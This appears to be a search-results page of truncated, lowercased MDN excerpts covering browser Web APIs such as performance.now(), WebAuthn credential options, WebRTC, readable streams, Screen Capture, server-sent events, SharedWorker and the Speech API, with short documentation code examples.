... 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android no support nosafari ios full support yessamsung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature. ...
performance.now() - Web APIs
Web › API › Performance › now
by software like ntp). otherwise, performance.timing.navigationstart + performance.now() will be approximately equal to date.now(). reduced time precision to offer protection against timing attacks and fingerprinting, the precision of performance.now() might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 1ms. ...
... performance.timing.navigationstart + performance.now() will be approximately equal to date.now(). reduced time precision to offer protection against timing attacks and fingerprinting, the precision of performance.now() might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 1ms. ...
...recision preference is enabled by default and defaults to 1ms. // reduced time precision (1ms) in firefox 60 performance.now(); // 8781416 // 8781815 // 8782206 // ... // reduced time precision with `privacy.resistfingerprinting` enabled performance.now(); // 8865400 // 8866200 // 8866700 // ... in firefox, you can also enable privacy.resistfingerprinting — this changes the precision to 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger. starting with firefox 79, high resolution timers can be used if you cross-origin isolate your document using the cross-origin-opener-policy and cross-origin-embedder-policy headers: cross-origin-opener-policy: same-origin cross-origin-embedder-policy: require-corp these headers ensure a top-le...
PerformanceEntry.entryType - Web APIs
this property is read only. note: this feature is available in web workers. syntax var type = entry.entrytype; return value the return value depends on the subtype of the performanceentry object and affects the value of the performanceentry.name property as shown by the table below. performance entry type names value subtype type of name property description of name property frame, navigation performanceframetiming, performancenavigationtiming url the document's address. resource performanceresourcetiming url the resolved url of the requested resource. ...
... value subtype type of name property description of name property frame, navigation performanceframetiming, performancenavigationtiming url the document's address. resource performanceresourcetiming url the resolved url of the requested resource. this value doesn't change even if the request is redirected. ...
...rametiming, performancenavigationtiming url the document's address. resource performanceresourcetiming url the resolved url of the requested resource. this value doesn't change even if the request is redirected. mark performancemark domstring the name used when the mark was created by calling performance.mark(). measure performancemeasure domstring name used when the measure was created by calling performance.measure(). paint performancepainttiming domstring either 'first-paint' or 'first-contentful-paint'. longtask performancelongtasktiming domstring reports instances of long tasks example the following example shows the use of the entrytype property. function run_performanceent...
PerformanceLongTaskTiming - Web APIs
ft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...upport 58chrome android full support 58firefox android no support nonotes no support nonotes notes see bug 1348405.opera android full support yessafari ios ? samsung internet android full support 7.0attribution experimentalchrome full support 58edge full support ≤79firefox no support noie ? opera full support ...
... yessafari ? webview android full support 58chrome android full support 58firefox android no support noopera android full support yessafari ios ? ...
PublicKeyCredentialCreationOptions.user - Web APIs
it may be the full name of the user (e.g. "john doe"). this is not intended to store the login of the user (see name below). ...
...rl as a usvstring value which points to an image resource which can be the avatar image for the user. id a buffersource uniquely identifying a given user. this an opaque identifier which can be used by the authenticator to link the user account with its corresponding credentials. this value will later be used when fetching the credentials in authenticatorassertionresponse.userhandle. name a domstring giving a human-readable name for the user's identifier (e.g. "jdoe@example.com").this property is intended for display and may be use to distinguish different account with the same displayname. examples var publickey = { challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { // to be ...
...new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { // to be changed for each user id: new uint8array.from(window.atob("laegmlkjnrlkgnamlafalfka="), c=>c.charcodeat(0)); name: "jdoe@example.com", displayname: "john doe", icon: "https://gravatar.com/avatar/jdoe.png" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment...
PublicKeyCredentialCreationOptions - Web APIs
cribing the user account for which the credential is generated. publickeycredentialcreationoptions.challenge a buffersource, emitted by the relying party's server and used as a cryptographic challenge. this value will be signed by the authenticator and the signature will be sent back as part of authenticatorattestationresponse.attestationobject. publickeycredentialcreationoptions.pubkeycredparams an array of element which specify the desired features of the credential, including its type and the algorithm used for the cryptographic signature operations. this array is sorted by descending order of preference. publickeycredentialcreationoptions.timeout optional a numerical hint, in milliseconds, which indicates the time the caller is willing to wait for the creation operation to complete...
... attestation (for the authenticator's origin) should be transported. publickeycredentialcreationoptions.extensions optional an object with several client extensions' inputs. those extensions are used to request additional processing (e.g. dealing with legacy fido apis credentials, prompting a specific text on the authenticator, etc.). methods none. ...
...mple.com", icon: "https://login.example.com/login.ico" }, // cryptographic challenge from the server challenge: new uint8array(26), // user user: { id: new uint8array(16), name: "john.p.smith@example.com", displayname: "john p. ...
PushEvent.PushEvent() - Web APIs
this can be push or pushsubscriptionchange. eventinitdict optional an options object containing any initialization data you want to populate the pushevent object with. the options are: data: the data you want the pushevent to contain, if any. ...
...ould return 'some sample text' browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpushevent() constructor experimentalchrome full support 42edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable service workers preference. full support ...
...expect behavior to change in the future.experimental. expect behavior to change in the future.see implementation...
PushSubscription.getKey() - Web APIs
the value can be: p256dh: an elliptic curve diffie–hellman public key on the p-256 curve (that is, the nist secp256r1 elliptic curve). ...
...refox-only experimental. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
PushSubscription.subscriptionId - Web APIs
the endpoint read-only property of the pushsubscription interface returns a domstring containing the subscription id associated with the push subscription. syntax var subid = pushsubscription.subscriptionid; specifications specification status comment push api working draft initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ft initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... nowebview android no support nochrome android full support 42firefox android no support noopera android full support 29safari ios no support nosamsung internet android full support 4.0legend full support full support no support no support ...
RTCConfiguration.bundlePolicy - Web APIs
the rtcconfiguration dictionary's bundlepolicy property is a string value indicating which sdp bundling policy, if any, to use for the underlying rtp streams used by an rtcpeerconnection. the configuration object is used as an input to the rtcpeerconnection() constructor. syntax let rtcconfiguration = { bundlepolicy: policy }; rtcconfiguration.bundlepolicy = policy; value a domstring identifying the sdp bundling policy to use for the rtp streams used by the rtcpeerconnection. this string, which must be a member of the rtcbundlepolicy enumeration, has the following possible values: balanced the ice agent begins by creating one rtcdtlstransport to handle each type of content added: one for audio, one for video, and one for the rtc data channel, if applicable. if the remote peer i...
...specifies how the ice agent should handle negotiation if the remote peer isn't compatible with the sdp bundle standard. if the remote peer is bundle compatible, the policy is moot and all media tracks and the data channel are bundled onto a single rtcdtlstransport at the completion of the negotiation process. any other transports that were used during negotiation are then closed. in technical terms, an sdp bundle lets all of the media tracks (identified in the sdp from the m= lines) stream between two peers across a single 5-tuple, that is, from a single ip and port on one peer to a single ip and port on another peer, all using the same rtcdtlstransport. the goal of bundling is to optimize performance by reducing the overhead of having multiple transports in play. the fewer rtp transports ...
...l of the media tracks (identified in the sdp from the m= lines) stream between two peers across a single 5-tuple, that is, from a single ip and port on one peer to a single ip and port on another peer, all using the same rtcdtlstransport. the goal of bundling is to optimize performance by reducing the overhead of having multiple transports in play. the fewer rtp transports or bundles of rtp streams you have, the better the network performance will be. all current major browsers are bundle compatible. examples the following example creates a new rtcpeerconnection with a configuration setting the connection's bundlepolicy to max-compat to maximize compatibility while attempting to optimize network use. it also specifies stun:stun.example.com as the stun server for ice to use during negot...
RTCDataChannel - Web APIs
channel and ask a remote peer to join you, call the rtcpeerconnection's createdatachannel() method. the peer being invited to exchange data receives a datachannel event (which has type rtcdatachannelevent) to let it know the data channel has been added to the connection. propertiesalso inherits properties from: eventtargetbinarytype the property binarytype on the rtcdatachannel interface is a domstring which specifies the type of javascript object which should be used to represent binary data received on the rtcdatachannel. values allowed by the websocket.binarytype property are also permitted here: "blob" if blob objects are being used or "arraybuffer" if arraybuffer objects are being used. the default is "blob".bufferedamount read only the read-only rtcdatachannel property bufferedamou...
...these labels are not required to be unique.maxpacketlifetime read only the read-only rtcdatachannel property maxpacketlifetime returns the amount of time, in milliseconds, the browser is allowed to take to attempt to transmit a message, as set when the data channel was created, or null.maxretransmits read only the read-only rtcdatachannel pr...
...if no protocol was specified when the data channel was created, then this property's value is "" (the empty string).readystate read only the read-only rtcdatachannel property readystate returns an enum of type rtcdatachannelstate which indicates the state of the data channel's underlying data connection.reliable read only the read-only rtc...
RTCIceCandidateInit.candidate - Web APIs
the candidate string specifies the network connectivity information for the candidate. if the candidate is an empty string (""), the end of the candidate list has been reached; this candidate is known as the "end-of-candidates" marker. the syntax of the candidate string is described in rfc 5245, section 15.1. ...
...eived by your signaling code from the remote peer, you need to construct the rtcicecandidate object that encapsulates it. this is done in the event handler for the icecandidate event. if your client-side signaling layer builds and transmits a json string including the candidate to the remote peer, the remote peer might handle receiving that json message like this: function goticecandidatemessage(msg) { var icecandidate = new rtcicecandidate({ candidate: msg.candidate; }); pc.addicecandidate(icecandidate).catch({ /* handle error */ }); } it's helpful to note that for backward compatibility with older versions of the webrtc specification, the rtcicecandidate() constructor accepts the value of candidate as its only input, in place of the rtcicecandidateinit dictionary. t...
...c.addicecandidate(icecandidate).catch({ /* handle error */ }); } it's helpful to note that for backward compatibility with older versions of the webrtc specification, the rtcicecandidate() constructor accepts the value of candidate as its only input, in place of the rtcicecandidateinit dictionary. that usage would change the above sample to look like this: function goticecandidatemessage(msg) { var icecandidate = new rtcicecandidate(msg.candidate); pc.addicecandidate(icecandidate).catch({ /* handle error */ }); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidateinit.candidate' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection.setRemoteDescription() - Web APIs
ondescriptionerror the rtcsessiondescription specified by the sessiondescription parameter is invalid. example here we see a function which handles an offer received from the remote peer. this code is derived from the example and tutorial in the article signaling and video calling; take a look at that for more details and a more in-depth explanation of what's going on. ...
...ription parameter is invalid. example here we see a function which handles an offer received from the remote peer. this code is derived from the example and tutorial in the article signaling and video calling; take a look at that for more details and a more in-depth explanation of what's going on. ...
...when our promise fulfillment handler is called, indicating that this has been done, we create a stream, add it to the connection, then create an sdp answer and call setlocaldescription() to set that as the configuration at our end of the call before forwarding that answer...
RTCPeerConnection - Web APIs
has finished.localdescription read only the read-only property rtcpeerconnection.localdescription returns an rtcsessiondescription describing the session for the local end of the connection. if it has not yet been set, this is null.peeridentity read only the read-only rtcpeerconnection property peeridentity returns a javascript promise that resolves to an rtcidentityassertion which contains a domstring identifying the remote peer.pendinglocaldescription read only the read-only property rtcpeerconnection.pendinglocaldescription returns an rtcsessiondescription object describing a pending configuration change for the local end of the connection. this does not describe the connection as it currently stands, but as it may exist in the near future. use rtcpeerconnection.currentlocaldescription ...
... for removetrack events on each stream within the rtcpeerconnection. also available as the onaddstream event handler property. ...
...andard for bundling multiple media streams on a single transport link). all browser implementations are bundle-aware. if the remote endpoint is bundle-aware, all media tracks and data channels are bundled onto a single transport at the completion of negotiation, regardless of policy used, and any superfluous transports that were created initially are closed at that point. note: in technical terms, a bundle lets all media flow between two peers flow across a single 5-tuple; that is, from a single ip and port on one peer to a single ip and port on the other peer, using the same transport protocol. constant description "balanced" the ice agent initially creates one rtcdtlstransport for each type of content added: audio, video, and data channels. if the remote en...
RTCPeerConnectionIceErrorEvent - Web APIs
iceerrorevent() creates and returns a new rtcpeerconnectioniceerrorevent object, with its type and other properties initialized as specified in the parameters. you will not normally create an object of this type yourself. properties the rtcpeerconnectioniceerrorevent interface includes the properties found on the event interface, as well as the following properties: address read only a domstring providing the local ip address used to communicate with the stun or turn server being used to negotiate the connection, or null if the local ip address has not yet been exposed as part of a local ice candidate. errorcode read only an unsigned integer value stating the numeric stun error code returned by the stun or turn server. if no host candidate can reach the server, this property is s...
...candidate. errorcode read only an unsigned integer value stating the numeric stun error code returned by the stun or turn server. if no host candidate can reach the server, this property is set to the number 701, which is outside the range of valid stun error codes. the 701 error is fired only once per server url, and only while the is icegatheringstate is gathering. errortext read only a domstring containing the stun reason text returned by the stun or turn server. if communication with the stun or turn server couldn't be established at all, this string will be a browser-specific string explaining the error. port read only an unsigned integer value giving the port number over which communication with the stun or turn server is taking place, using the ip address given in address. nu...
...the stun or turn server couldn't be established at all, this string will be a browser-specific string explaining the error. port read only an unsigned integer value giving the port number over which communication with the stun or turn server is taking place, using the ip address given in address. null if the connection hasn't been established (that is, if address is null). url read only a domstring indicating the url of the stun or turn server with which the error occurred. methods rtcpeerconnectioniceerrorevent has no methods other than any provided by the parent interface, event. examples tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceerrorevent' in that specific...
ReadableStream.ReadableStream() - Web APIs
etched. cancel(reason) optional this method, also defined by the developer, will be called if the app signals that the stream is to be cancelled (e.g. if readablestream.cancel() is called). the contents should do whatever is necessary to release access to the stream source. if this process is asynchronous, it can return a promise to signal success or failure. the reason parameter contains a domstring describing why the stream was cancelled. type optional this property controls what type of readable stream is being dealt with. if it is included with a value set to "bytes", the passed controller object will be a readablebytestreamcontroller capable of handling a byob (bring your own buffer)/byte stream. if it is not included, the passed controller will be a readablestreamdefaultcontrol...
...optional this property controls what type of readable stream is being dealt with. if it is included with a value set to "bytes", the passed controller object will be a readablebytestreamcontroller capable of handling a byob (bring your own buffer)/byte stream. if it is not included, the passed controller will be a readablestreamdefaultcontroller. autoallocatechunksize optional for byte streams, the developer can set the autoallocatechunksize with a positive integer value to turn on the stream's auto-allocation feature. with this turned on, the stream implementation will automatically allocate an arraybuffer with a size of the given integer, and the consumer can also use a default reader. queuingstrategy optional an object that optionally defines a queuing strategy for the stream.
... living standard initial definition. ...
ReadableStream.cancel() - Web APIs
inished with the stream and don't need any more data from it, even if there are chunks enqueued waiting to be read. that data is lost after cancel is called, and the stream is not readable any more. to read those chunks still and not completely get rid of the stream, you'd use readablestreamdefaultcontroller.close(). syntax var promise = readablestream.cancel(reason); parameters reason a domstring providing a human-readable reason for the cancellation. return value a promise, which fulfills with the value given in the reason parameter. exceptions typeerror the stream you are trying to cancel is not a readablestream, or it is locked. examples in jake archibald's cancelling a fetch example, a stream is used to fetch the whatwg html spec chunk by chunk; each chunk is searched ...
...llation. return value a promise, which fulfills with the value given in the reason parameter. exceptions typeerror the stream you are trying to cancel is not a readablestream, or it is locked. examples in jake archibald's cancelling a fetch example, a stream is used to fetch the whatwg html spec chunk by chunk; each chunk is searched for the string "service workers". when the search terms is found, cancel() is used to cancel the stream — the job is finished so it is no longer needed. var searchterm = "service workers"; // chars to show either side of the result in the match var contextbefore = 30; var contextafter = 30; var caseinsensitive = true; var url = 'https://html.spec.whatwg.org/'; console.log(`searching '${url}' for '${searchterm}'`); fetch(url).then(response => { ...
... living standard initial definition. ...
ReadableStream.getReader() - Web APIs
the getreader() method of the readablestream interface creates a reader and locks the stream to it. while the stream is locked, no other reader can be acquired until this one is released. syntax var reader = readablestream.getreader({mode}); parameters {mode} optional an object containing a property mode, which takes as its value a domstring specifying the type of reader to create. values can be: "byob", which results in a readablestreambyobreader being created that can read readable byte streams (i.e. can handle "bring your own buffer" reading). undefined (or not specified at all — this is the default), which results in a readablestreamdefaultreader being created that can read individual chunks from a stream. return value a readablestreamdefaultreader or readablestre...
...a value has been received reader.read().then(function processtext({ done, value }) { // result objects contain two properties: // done - true if the stream has already given you all its data. // value - some data. always undefined when done is true. if (done) { console.log("stream complete"); para.textcontent = value; return; } // value for fetch streams is a uint8array charsreceived += value.length; const chunk = value; let listitem = document.createelement('li'); listitem.textcontent = 'received ' + charsreceived + ' characters so far. current chunk = ' + chunk; list2.appendchild(listitem); result += chunk; // read some more, and call this function again return reader.read().then(processtext); }); } specific...
... living standard initial definition. ...
ReadableStream.pipeThrough() - Web APIs
the pipethrough() method of the readablestream interface provides a chainable way of piping the current stream through a transform stream or any other writable/readable pair. piping a stream will generally lock it for the duration of the pipe, preventing other readers from locking it. syntax var transformedstream = readablestream.pipethrough(transformstream[, options]); parameters transformstream a transformstream (or an object with the structure {writable, readable}) consisting of a readable stream and a writable stream working together to transform some data from one form to another. data writen to the writable stream can be read in some transformed state by the readable stream. for example, a textdecoder, has bytes written to it and strings read from it, while a video d...
...rce readable stream will no longer be canceled. in this case the method will return a promise rejected with an error indicating piping to a closed stream failed, or with any error that occurs during canceling the source. signal: if set to an abortsignal object, ongoing pipe operations can then be aborted via the corresponding abortcontroller. return value the readable side of the transformstream. exceptions typeerror the writable and/or readable property of transformstream are undefined. examples in the following example (see unpack chunks of a png for the full code running live, and png-transform-stream for the source code), an image is fetched and its body retrieved as a readablestream. next, we log the contents of the readable stream, use pipethrough() to send it to a new...
...send it to a new function that creates a gray-scaled version of the stream, then log the new stream's contents too. // fetch the original image fetch('png-logo.png') // retrieve its body as readablestream .then(response => response.body) .then(rs => logreadablestream('fetch response stream', rs)) // create a gray-scaled png stream out of the original .then(body => body.pipethrough(new pngtransformstream())) .then(rs => logreadablestream('png chunk stream', rs)) specifications specification status comment streamsthe definition of 'pipethrough()' in that specification. living standard initial definition. ...
ReadableStream - Web APIs
the fetch api offers a concrete instance of a readablestream through the body property of a response object. constructor readablestream() creates and returns a readable stream object from the given handlers. properties readablestream.locked read only the locked getter returns whether or not the readable stream is locked to a reader. methods readablestream.cancel() cancels the stream, signaling a loss of interest in the stream by a consumer. the supplied reason argument will be given to the underlying source, which may or may not use it. ...
...r. readablestream.pipeto() pipes the current readablestream to a given writablestream and returns a promise that fulfills when the piping process completes successfully, or rejects if any errors were encountered. readablestream.tee() the tee method tees this readable stream, returning a two-element array containing the two resulting branches as new readablestream instances. each of those streams receives the same incoming data. readablestream[@@asynciterator]() alias of getiterator method. examples in the following example, an artificial response is created to stream html fragments fetched from another resource to the browser. it demonstrates the usage of a readablestream in combination with a uint8array. fetch("https://www.example.org/").then((response) => { const reader = resp...
... living standard initial definition ...
ReadableStreamDefaultReader.cancel() - Web APIs
lled, and the stream is not readable any more. to read those chunks still and not completely get rid of the stream, you'd use readablestreamdefaultcontroller.close(). note: if the reader is active, the cancel() method behaves the same as that for the associated stream (readablestream.cancel()). syntax var promise = readablestreamdefaultreader.cancel(reason); parameters reason optional a domstring providing a human-readable reason for the cancellation. return value a promise, which fulfills with the value given in the reason parameter. exceptions typeerror the source object is not a readablestreamdefaultreader, or the stream has no owner. examples in the following simple example, a previously-created custom readablestream is read using a readablestreamdefaultreader created ...
...d reader.read().then(function processtext({ done, value }) { // result objects contain two properties: // done - true if the stream has already given you all its data. // value - some data. always undefined when done is true. if (done) { console.log("stream complete"); reader.cancel(); para.textcontent = result; return; } // value for fetch streams is a uint8array charsreceived += value.length; const chunk = value; let listitem = document.createelement('li'); listitem.textcontent = 'received ' + charsreceived + ' characters so far. current chunk = ' + chunk; list2.appendchild(listitem); result += chunk; // read some more, and call this function again return reader.read().then(processtext); }); } specific...
... living standard initial definition. ...
SVGImageElement.decoding - Web APIs
possible values are: sync: decode the image synchronously for atomic presentation with other content. async: decode the image asynchronously to reduce delay in presenting other content. auto: default mode, which indicates no preference for the decoding mode. ...
...rd initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the fut...
Screen.lockOrientation() - Web APIs
tation will change from an orientation to another as long as the orientations are amongst the orientations the device has been locked to. return value returns true if the orientation was authorized to be locked or false if the orientation locking was denied. note that the return value doesn't indicate that the screen orientation is indeed locked: there may be a delay. ...
...ice has been locked to. return value returns true if the orientation was authorized to be locked or false if the orientation locking was denied. note that the return value doesn't indicate that the screen orientation is indeed locked: there may be a delay. ...
... with a domstring argument screen.lockorientationuniversal = screen.lockorientation || screen.mozlockorientation || screen.mslockorientation; if (screen.lockorientationuniversal("landscape-primary")) { // orientation was locked } else { // orientation lock failed } usage with an array argument screen.lockorientationuniversal = screen.lockorientation || screen.mozlockorientation || screen.mslockorientation; if (screen.lockorientationuniversal(["landscape-primary", "landscape-secondary"])) { // orientation was locked } else { // orientation lock failed } specifications specification status comment screen orientation apithe definition of 'lockorientation()' in that specification. working draft initial definition (not present in the draft anymore...
Using the Screen Capture API - Web APIs
ntent. the source of this audio might be the selected window, the entire computer's audio system, or the user's microphone (or a combination of all of the above). before starting a project that will require sharing of audio, be sure to check the browser compatibility in mediadevices.getdisplaymedia() to see if the browsers you wish compaibility with have support for audio in captured screen streams. to request that the screen be shared with included audio, the options passed into getdisplaymedia() might look like this: const gdmoptions = { video: true, audio: true } this allows the user total freedom to select whatever they want, within the limits of what the user agent supports. this could be refined further by specifying additional information for each of audio and video: const g...
...t event listeners for the start and stop buttons startelem.addeventlistener("click", function(evt) { startcapture(); }, false); stopelem.addeventlistener("click", function(evt) { stopcapture(); }, false); logging content to make logging of errors and other issues easy, this example overrides certain console methods to output their messages to the <pre> block whose id is log. ...
... and stop buttons startelem.addeventlistener("click", function(evt) { startcapture(); }, false); stopelem.addeventlistener("click", function(evt) { stopcapture(); }, false); logging content to make logging of errors and other issues easy, this example overrides certain console methods to output their messages to the <pre> block whose id is log. console.log = msg => logelem.innerhtml += `${msg}<br>`; console.error = msg => logelem.innerhtml += `<span class="error">${msg}</span><br>`; console.warn = msg => logelem.innerhtml += `<span class="warn">${msg}<span><br>`; console.info = msg => logelem.innerhtml += `<span class="info">${msg}</span><br>`; this allows us to use the familiar console.log(), console.error(), and so on to log information to the log box in the document. starting di...
Screen Capture API - Web APIs
this stream can then be recorded or shared with others over the network. screen capture api concepts and usage the screen capture api is relatively simple to use. its sole method is mediadevices.getdisplaymedia(), whose job is to ask the user to select a screen or portion of a screen to capture in the form of a mediastream. ...
...a(), whose job is to ask the user to select a screen or portion of a screen to capture in the form of a mediastream. to start capturing video from the screen, you call getdisplaymedia() on the instance of media navigator.mediadevices: capturestream = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); the promise returned by getdisplaymedia() resolves to a mediastream which streams the captured media. see the article using the screen capture api for a more in-depth look at how to use the api to capture screen contents as a stream. additions to existing interfaces the screen capture api doesn't have any interfaces of its own; instead, it adds one method to the existing mediadevices interface. mediadevices interface mediadevices.getdisplaymedia() the getdisplaymedia()...
...e. similar to getusermedia(), this method creates a promise that resolves with a mediastream containing the display area selected by the user, in a format that matches the specified options. additions to existing dictionaries the screen capture api adds properties to the following dictionaries defined by other specifications. mediatrackconstraints mediatrackconstraints.cursor a constraindomstring indicating whether or not the cursor should be included in the captured display surface's stream, and if it should always be visible or if it should only be visible while the mouse is in motion. mediatrackconstraints.displaysurface a constraindomstring indicating what type of display surface is to be captured. the value is one of application, browser, monitor, or window. mediatrackconstra...
SecurityPolicyViolationEvent - Web APIs
violation occurred. securitypolicyviolationevent.dispositionread only indicates how the violated policy is configured to be treated by the user agent. this will be "enforce" or "report". securitypolicyviolationevent.documenturiread only a usvstring representing the uri of the document or worker in which the violation was found. securitypolicyviolationevent.effectivedirectiveread only a domstring representing the directive whose enforcement uncovered the violation. securitypolicyviolationevent.linenumberread only the line number in the document or worker at which the violation occurred. securitypolicyviolationevent.originalpolicyread only a domstring containing the policy whose enforcement uncovered the violation. securitypolicyviolationevent.referrerread only a usvstring re...
...this will only be populated if the resource is an inline script, event handler, or style — external resources causing a violation will not generate a sample. ...
...violation will not generate a sample. securitypolicyviolationevent.sourcefileread only a usvstring representing the uri of the document or worker in which the violation was found. securitypolicyviolationevent.statuscoderead only a number representing the http status code of the document or worker in which the violation occurred. securitypolicyviolationevent.violateddirectiveread only a domstring representing the directive whose enforcement uncovered the violation. examples document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.blockeduri); console.log(e.violateddirective); console.log(e.originalpolicy); }); specifications specification status comment content security policy level 2the definition of 'securitypolicyviolationevent...
Selection.extend() - Web APIs
Web › API › Selection › extend
working draft current browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yesoffset parameter is optional experimentalchrome full support yesedge full support ≤79firefox full support 55ie no support noopera ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. see also sele...
Selection - Web APIs
Web › API › Selection
aracters within focusnode preceding the focus. if focusnode is an element, this is the number of child nodes of the focusnode preceding the focus. selection.iscollapsedread only returns a boolean indicating whether the selection's start and end points are at the same position. selection.rangecountread only returns the number of ranges in the selection. selection.typeread only returns a domstring describing the type of the current selection. methods selection.addrange() a range object that will be added to the selection. selection.collapse() collapses the current selection to a single point. selection.collapsetoend() collapses the selection to the end of the last range in the selection. selection.collapsetostart() collapses the selection to the start of the first range in...
...ent.activeelement) have a complex relationship that varies by browser. in cross-browser compatible code, it's better to handle them separately. safari and chrome (unlike firefox) currently focus the element containing selection when modifying the selection programmatically; it's possible that this may change in the future (see w3c bug 14383 and webkit bug 38696). behavior of selection api in terms of editing host focus changes the selection api has a common behavior (i.e., shared between browsers) that governs how focus behavior changes for editing hosts after certain methods are called. the behavior is as follows: an editing host gains focus if the previous selection was outside of it. a selection api method is called, causing a new selection to be made with the selection range insi...
... anchor the anchor of a selection is the beginning point of the selection. when making a selection with a mouse, the anchor is where in the document the mouse button is initially pressed. as the user changes the selection using the mouse or the keyboard, the anchor does not move. editing host an editable element (e.g., an html element with contenteditable set, or the ht...
Using server-sent events - Web APIs
le tabs, as the limit is per browser and is set to a very low number (6). the issue has been marked as "won't fix" in chrome and firefox. this limit is per browser + domain, which means that you can open 6 sse connections across all of the tabs to www.example1.com and another 6 sse connections to www.example2.com (per stackoverflow). when using http/2, the maximum number of simultaneous http streams is negotiated between the server and the client (defaults to 100). sending events from the server the server-side script that sends events needs to respond using the mime type text/event-stream. each notification is sent as a block of text terminated by a pair of newlines. for details on the format of the event stream, see event stream format. the php code for the example we're using here fol...
... an event every second, with the event type "ping". each event's data is a json object containing the iso 8601 timestamp corresponding to the time at which the event was generated. at random intervals, a simple message (with no event type) is sent. note: you can find a full example that uses the code shown in this article on github — see simple sse demo using php. ...
...the connection is terminated with the .close() method. evtsource.close(); event stream format the event stream is a simple stream of text data which must be encoded using utf-8. ...
SharedWorker() - Web APIs
me-origin policy. note: there is disagreement among browser manufacturers about whether a data uri is of the same origin or not. although gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7) and later accept data uris, that's not the case in all other browsers. syntax var myworker = new sharedworker(aurl, name); var myworker = new sharedworker(aurl, options); parameters aurl a domstring representing the url of the script the worker will execute. it must obey the same-origin policy. name optional a domstring specifying an identifying name for the sharedworkerglobalscope representing the scope of the worker, which is mainly useful for debugging purposes. options optional an object containing option properties that can set when creating the object instance. available prope...
...ript the worker will execute. it must obey the same-origin policy. name optional a domstring specifying an identifying name for the sharedworkerglobalscope representing the scope of the worker, which is mainly useful for debugging purposes. options optional an object containing option properties that can set when creating the object instance. available properties are as follows: type: a domstring specifying the type of worker to create. the value can be classic or module. if not specified, the default used is classic. credentials: a domstring specifying the type of credentials to use for the worker. the value can be omit, same-origin, or include. ...
... return value the created worker. exceptions a securityerror is raised if the document is not allowed to start workers, for example if the url has an invalid syntax or if the same-origin policy is violated. ...
Slottable - Web APIs
Web › API › Slottable
rd initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...l version 59 (exclusive): this feature is behind the dom.webcomponents.enabled preference (needs to be set to true) and the dom.webcomponents.shadowdom.enabled preference (needs to be set to true). ...
...l version 59 (exclusive): this feature is behind the dom.webcomponents.enabled preference (needs to be set to true) and the dom.webcomponents.shadowdom.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android full support 41safari ios full support 10.3samsung internet android full support 6.0legend full support full support no support no supportexperimental. expect behavior to change in the future.experimental. expect behavior to change in the future.user must explicit...
SpeechGrammar.src - Web APIs
Web › API › SpeechGrammar › src
the src property of the speechgrammar interface sets and returns a string containing the grammar from within in the speechgrammar object. syntax var mygrammar = speechgrammarinstance.src; value a domstring representing the grammar. ...
... the src property of the speechgrammar interface sets and returns a string containing the grammar from within in the speechgrammar object. syntax var mygrammar = speechgrammarinstance.src; value a domstring representing the grammar. ...
... specifications specification status comment web speech apithe definition of 'src' in that sp...
SpeechGrammarList.SpeechGrammarList() - Web APIs
he speechgrammarlist() constructor creates a new speechgrammarlist object instance. syntax var mygrammarlist = new speechgrammarlist(); parameters none. ...
...() constructor, create a new speechgrammarlist, add our grammar string to it using the speechgrammarlist.addfromstring method, and set it to be the grammar that will be recognised by the speechrecognition instance using the speechrecognition.grammars property. ...
... draft ...
SpeechGrammarList.addFromURI() - Web APIs
the addfromuri() method of the speechgrammarlist interface takes a grammar present at a specific uri and adds it to the speechgrammarlist as a new speechgrammar object. note that some speech recognition services may support built-in grammars that can be specified by uri. syntax speechgrammarlistinstance.addfromuri(src,weight); returns void. parameters src a domstring representing the uri of the grammar to be added. weight optional a float representing the weight of the grammar relative to other grammars present in the speechgrammarlist. the weight means the importance of this grammar, or the likelihood that it will be recognised by the speech recognition service. the value can be between 0.0 and 1.0; if not specified, the default used is 1.0. examples var grammar = '#jsgf v...
